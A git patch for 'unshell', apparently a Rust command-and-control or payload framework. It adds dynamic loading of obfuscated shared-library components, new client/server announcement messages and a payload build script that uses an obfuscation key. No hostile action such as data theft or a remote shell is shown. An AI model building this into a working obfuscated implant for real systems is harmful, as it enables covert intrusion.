From f34ac017ce0d7930dfc45cafec2e91da6944d0cb Mon Sep 17 00:00:00 2001 From: Michael Mikovsky <77305074+Astatin3@users.noreply.github.com> Date: Fri, 14 Nov 2025 09:43:41 -0700 Subject: [PATCH] Get dynamic component loading working --- unshell-breakout-module/Cargo.toml | 10 ++--- unshell-breakout-module/src/lib.rs | 4 +- unshell-cli/src/main.rs | 54 +++++++++++++----------- unshell-lib/src/announcement.rs | 8 ++++ unshell-lib/src/client/client_runtime.rs | 29 ++++++++----- unshell-lib/src/components.rs | 12 ------ unshell-lib/src/config/mod.rs | 10 +++-- unshell-lib/src/lib.rs | 7 +-- unshell-lib/src/module/manager.rs | 28 +++++++----- unshell-lib/src/server/server_runtime.rs | 20 ++++++++- unshell-payload/Cargo.toml | 8 ++-- unshell-payload/build.sh | 3 ++ unshell-payload/src/main.rs | 8 ++-- 13 files changed, 119 insertions(+), 82 deletions(-) create mode 100755 unshell-payload/build.sh diff --git a/unshell-breakout-module/Cargo.toml b/unshell-breakout-module/Cargo.toml index 72386e6..76bc90d 100644 --- a/unshell-breakout-module/Cargo.toml +++ b/unshell-breakout-module/Cargo.toml @@ -9,24 +9,24 @@ edition = "2024" crate-type = ["cdylib"] [features] -default = ["client", "server"] +default = ["client", "server", "log_debug"] + client = ["unshell-lib/client"] server = ["unshell-lib/server"] + +log_debug = ["unshell-lib/log_debug"] obfuscate = ["unshell-lib/obfuscate"] [dependencies] -unshell-lib = {path = "../unshell-lib"} +unshell-lib = {path = "../unshell-lib", default-featues = false} [profile.release] strip = true # Strip symbols from the binary -# strip = "debuginfo" opt-level = "s" # Optimize for size lto = true codegen-units = 1 panic = "abort" debug = false trim-paths = "all" - -# crate-type = ["cdylib"] diff --git a/unshell-breakout-module/src/lib.rs b/unshell-breakout-module/src/lib.rs index 1d5bb1f..275a317 100644 --- a/unshell-breakout-module/src/lib.rs +++ b/unshell-breakout-module/src/lib.rs @@ -1,5 +1,5 @@ +// Behold! The world's most sophisticated shared library! (it has no code) + #![no_main] pub use unshell_lib::get_components; - -// Behold! The world's most sophisticated shared library! diff --git a/unshell-cli/src/main.rs b/unshell-cli/src/main.rs index 9b9a487..19e6ce2 100644 --- a/unshell-cli/src/main.rs +++ b/unshell-cli/src/main.rs @@ -5,31 +5,37 @@ use unshell_lib::Announcement; fn main() -> Result<(), Box> { let mut serverruntime = unshell_lib::server::ListenerRuntime::new(); - loop { - print!("> "); - stdout().flush().expect("Failed to flush stdout"); - let mut input = String::new(); - stdin().read_line(&mut input).expect("Failed to read line"); + // loop { + // print!("> "); + // stdout().flush().expect("Failed to flush stdout"); + // let mut input = String::new(); + // stdin().read_line(&mut input).expect("Failed to read line"); - let args = input.trim().split(" ").collect::>(); + // let args = input.trim().split(" ").collect::>(); - match args[0] { - "" => {} - "test" => { - if let Some(arg) = args.get(1) { - println!("Test with argument: {}", arg); - serverruntime - .send(&Announcement::TestAnnouncement(arg.to_string())) - .unwrap(); - } else { - println!("Test without argument"); - } - } - _ => { - println!("Invalid Command: '{}'", args[0]); - } - } + // match args[0] { + // "" => {} + // "test" => { + // if let Some(arg) = args.get(1) { + // println!("Test with argument: {}", arg); + // serverruntime + // .send(&Announcement::TestAnnouncement(arg.to_string())) + // .unwrap(); + // } else { + // println!("Test without argument"); + // } + // } + // _ => { + // println!("Invalid Command: '{}'", args[0]); + // } + // } - // println!("{:?}", args); - } + // // println!("{:?}", args); + // } + + serverruntime.send(&Announcement::GetRuntimes)?; + + // let response = serverruntime. + + Ok(()) } diff --git a/unshell-lib/src/announcement.rs b/unshell-lib/src/announcement.rs index 558c6ce..259c5f9 100644 --- a/unshell-lib/src/announcement.rs +++ b/unshell-lib/src/announcement.rs @@ -1,8 +1,16 @@ use bincode::{Decode, Encode}; +use crate::config::RuntimeConfig; + #[derive(Debug, Encode, Decode)] pub enum Announcement { TestAnnouncement(String), + + GetRuntimes, + GetRuntimesAck(usize), + + StartRuntime(RuntimeConfig), + StartRuntimeAck(bool), } const BINCODE_CONFIG: bincode::config::Configuration = bincode::config::standard(); diff --git a/unshell-lib/src/client/client_runtime.rs b/unshell-lib/src/client/client_runtime.rs index 6965202..b3aac52 100644 --- a/unshell-lib/src/client/client_runtime.rs +++ b/unshell-lib/src/client/client_runtime.rs @@ -2,7 +2,7 @@ use std::{ io::Read, net::TcpStream, sync::{ - Arc, + Arc, Mutex, atomic::{AtomicBool, Ordering}, }, thread::{self, JoinHandle}, @@ -43,16 +43,6 @@ impl ClientRuntime { } }; info!("Connected"); - // let reader = BufReader::new(stream.try_clone().unwrap()); - // let mut writer = BufWriter::new(stream.try_clone().unwrap()); - - // let (a, b) = crossbeam_channel::unbounded(); - - // a. - - // if join_receiver.len() == 0 { - // join_receiver.recv().unwrap(); - // } while !join_clone.load(Ordering::Relaxed) { let mut size_buf = [0u8; 4]; @@ -69,12 +59,29 @@ impl ClientRuntime { Announcement::TestAnnouncement(s) => { println!("Received test announcement: {}", s) } + _ => {} } } }), join_signal, }) } + + // pub fn send(&mut self, announcement: &Announcement) -> Result<(), ModuleError> { + // let bytes = announcement.encode(); + + // let mut streams = self.stream.lock().unwrap(); + + // for stream in streams.iter_mut() { + // stream.write_all(&u32::to_be_bytes(bytes.len() as u32))?; + // stream.write_all(&bytes)?; + // stream.flush()?; + // } + + // println!("Announcement {:?} sent", announcement); + + // Ok(()) + // } } impl ModuleRuntime for ClientRuntime { diff --git a/unshell-lib/src/components.rs b/unshell-lib/src/components.rs index 29cabd9..6e66440 100644 --- a/unshell-lib/src/components.rs +++ b/unshell-lib/src/components.rs @@ -4,20 +4,8 @@ use crate::config::NamedComponent; #[obfuscated_symbol] pub fn get_components() -> Vec { - // let mut components: HashMap<&'static str, Box> = HashMap::new(); - - // let a = crate::client::get_interface; - return vec![ #[cfg(feature = "client")] crate::client::get_named_component(), ]; - - // components - - // vec![ - // Feature::Client, - // #[cfg(feature = "server")] - // Feature::Server, - // ] } diff --git a/unshell-lib/src/config/mod.rs b/unshell-lib/src/config/mod.rs index cd7cdd8..4edee4c 100644 --- a/unshell-lib/src/config/mod.rs +++ b/unshell-lib/src/config/mod.rs @@ -3,6 +3,8 @@ use std::collections::HashMap; // use bincode::{Decode, Encode}; // use serde::{Deserialize, Serialize}; +use bincode::{Decode, Encode}; + use crate::{ModuleError, ModuleRuntime}; // /// Payload config that is instantiated @@ -19,11 +21,11 @@ pub struct PayloadConfig { pub runtime_config: Vec, } -#[derive(Debug, Clone)] +#[derive(Debug, Clone, Encode, Decode)] pub struct RuntimeConfig { - pub parent_component: &'static str, - pub name: &'static str, - pub config: HashMap<&'static str, String>, + pub parent_component: String, + pub name: String, + pub config: HashMap, } #[derive(Clone)] diff --git a/unshell-lib/src/lib.rs b/unshell-lib/src/lib.rs index 301097e..27742d9 100644 --- a/unshell-lib/src/lib.rs +++ b/unshell-lib/src/lib.rs @@ -10,15 +10,10 @@ mod components; pub use components::get_components; mod announcement; -use std::{ - fmt, - // sync::{Arc, Mutex}, -}; +use std::fmt; pub use announcement::Announcement; -// use crate::module::{Interface, Manager}; - ///Generic error type for module-related operations. #[derive(Debug)] pub enum ModuleError { diff --git a/unshell-lib/src/module/manager.rs b/unshell-lib/src/module/manager.rs index dac693a..9d8d818 100644 --- a/unshell-lib/src/module/manager.rs +++ b/unshell-lib/src/module/manager.rs @@ -19,18 +19,17 @@ pub struct Manager { pub modules: Vec, active_runtimes: Vec>, - // runtime_config: Vec, components: HashMap, } // static mut MANAGER_RUNTIME: Option>> = None; impl Manager { - fn new(id: &'static str, config: Vec, modules: Vec) -> Self { + fn new(id: &'static str, components: Vec, modules: Vec) -> Self { Self { id, modules, - components: config + components: components .into_iter() .map(|c| (c.name.to_string(), c)) .collect(), @@ -44,6 +43,9 @@ impl Manager { // Construct self let mut this = Self::new(&config.id, config.components.clone(), modules); + debug!("Imported {} base components", this.components.len()); + debug!("Imported {} base runtimes", &config.runtime_config.len()); + // Load each of the pre-prepared modules this.load_components(); @@ -60,7 +62,7 @@ impl Manager { for module in &self.modules { // Load get_components function from shared object library let component_func = match module - .get_symbol:: Vec>(symbol!(b"get_components")) + .get_symbol:: Vec>(symbol!("get_components").as_bytes()) { Ok(func) => func, Err(_) => { @@ -70,7 +72,7 @@ impl Manager { }; let components = component_func(); - let component_name = "TODO"; + let component_name = "TODO"; //TODO: Make this actually load component name debug!("{} - Retrieved payload metadata", component_name); @@ -88,11 +90,11 @@ impl Manager { for runtime in runtimes { let mut this_lock = this.lock().unwrap(); - let component = match this_lock.components.get(runtime.parent_component) { + let component = match this_lock.components.get(&runtime.parent_component) { Some(component) => component, None => { warn!( - "Could not find component {} which is referenced by runtime {}", + "Could not find component '{}' which is referenced by runtime: {}", runtime.parent_component, runtime.name ); continue; @@ -119,12 +121,18 @@ impl Manager { let mut this_lock = this.lock().unwrap(); if this_lock.active_runtimes.len() <= 0 { + debug!("There are no more runtimes! Exiting..."); break; } - this_lock - .active_runtimes - .retain(|runtime| runtime.is_running()); + this_lock.active_runtimes.retain(|runtime| { + if runtime.is_running() { + true + } else { + debug!("Runtime exited!"); //TODO: Make this better + false + } + }); drop(this_lock); diff --git a/unshell-lib/src/server/server_runtime.rs b/unshell-lib/src/server/server_runtime.rs index 5e50355..71225c5 100644 --- a/unshell-lib/src/server/server_runtime.rs +++ b/unshell-lib/src/server/server_runtime.rs @@ -1,5 +1,5 @@ use std::{ - io::Write, + io::{Read, Write}, net::{TcpListener, TcpStream}, sync::{Arc, Mutex}, thread::{self, JoinHandle}, @@ -52,6 +52,24 @@ impl ListenerRuntime { Ok(()) } + + pub fn recv(&mut self) -> Result { + let stream = &mut self.streams.lock().unwrap()[0]; + + let mut size_buf = [0u8; 4]; + stream.read_exact(&mut size_buf).unwrap(); + let size = u32::from_be_bytes(size_buf); + + let mut buf = vec![0u8; size as usize]; + + stream.read_exact(&mut buf).unwrap(); + + if let Some(announcement) = Announcement::decode(&buf) { + Ok(announcement) + } else { + Err(ModuleError::Error("Failed to decode announcement".into())) + } + } } impl ModuleRuntime for ListenerRuntime { diff --git a/unshell-payload/Cargo.toml b/unshell-payload/Cargo.toml index 53504d0..f232ad7 100644 --- a/unshell-payload/Cargo.toml +++ b/unshell-payload/Cargo.toml @@ -7,7 +7,10 @@ edition = "2024" [features] obfuscate = ["unshell-obfuscate/obfuscate"] log_debug = ["unshell-lib/log_debug"] -# default = ["obfuscate"] + +client = ["unshell-lib/client"] +server = ["unshell-lib/server"] + [dependencies] env_logger = "0.11.8" @@ -15,7 +18,7 @@ lazy_static = "1.5.0" libloading = "0.8.9" proc-macro2 = "1.0.103" -unshell-lib = {path = "../unshell-lib"} +unshell-lib = {path = "../unshell-lib", default-features = false} unshell-obfuscate = {path = "../unshell-obfuscate"} [profile.release] @@ -26,4 +29,3 @@ codegen-units = 1 panic = "abort" debug = false # Remove debug trim-paths="all" -# panic=immediate-abort diff --git a/unshell-payload/build.sh b/unshell-payload/build.sh new file mode 100755 index 0000000..e801e7e --- /dev/null +++ b/unshell-payload/build.sh @@ -0,0 +1,3 @@ +OBFUSCATION_KEY=abc123abc \ +RUST_LOG=info \ +cargo run --no-default-features $@ --release # $(ls ../*/target/release/*.so) diff --git a/unshell-payload/src/main.rs b/unshell-payload/src/main.rs index fc0644d..7577683 100644 --- a/unshell-payload/src/main.rs +++ b/unshell-payload/src/main.rs @@ -16,15 +16,15 @@ lazy_static! { id: symbol!("Test ID"), components: unshell_lib::get_components(), runtime_config: vec![RuntimeConfig { - parent_component: symbol!("client"), - name: symbol!("client runtime"), - config: HashMap::from([(symbol!("host"), obs!("localhost:1234"))]), + parent_component: symbol!("client").to_string(), + name: symbol!("client runtime").to_string(), + config: HashMap::from([(symbol!("host").to_string(), obs!("localhost:1234"))]), }], }; } fn main() { - // #[cfg(not(feature = "obfuscate"))] + #[cfg(not(feature = "obfuscate"))] unshell_lib::logger::PrettyLogger::init(); debug!("Initialized");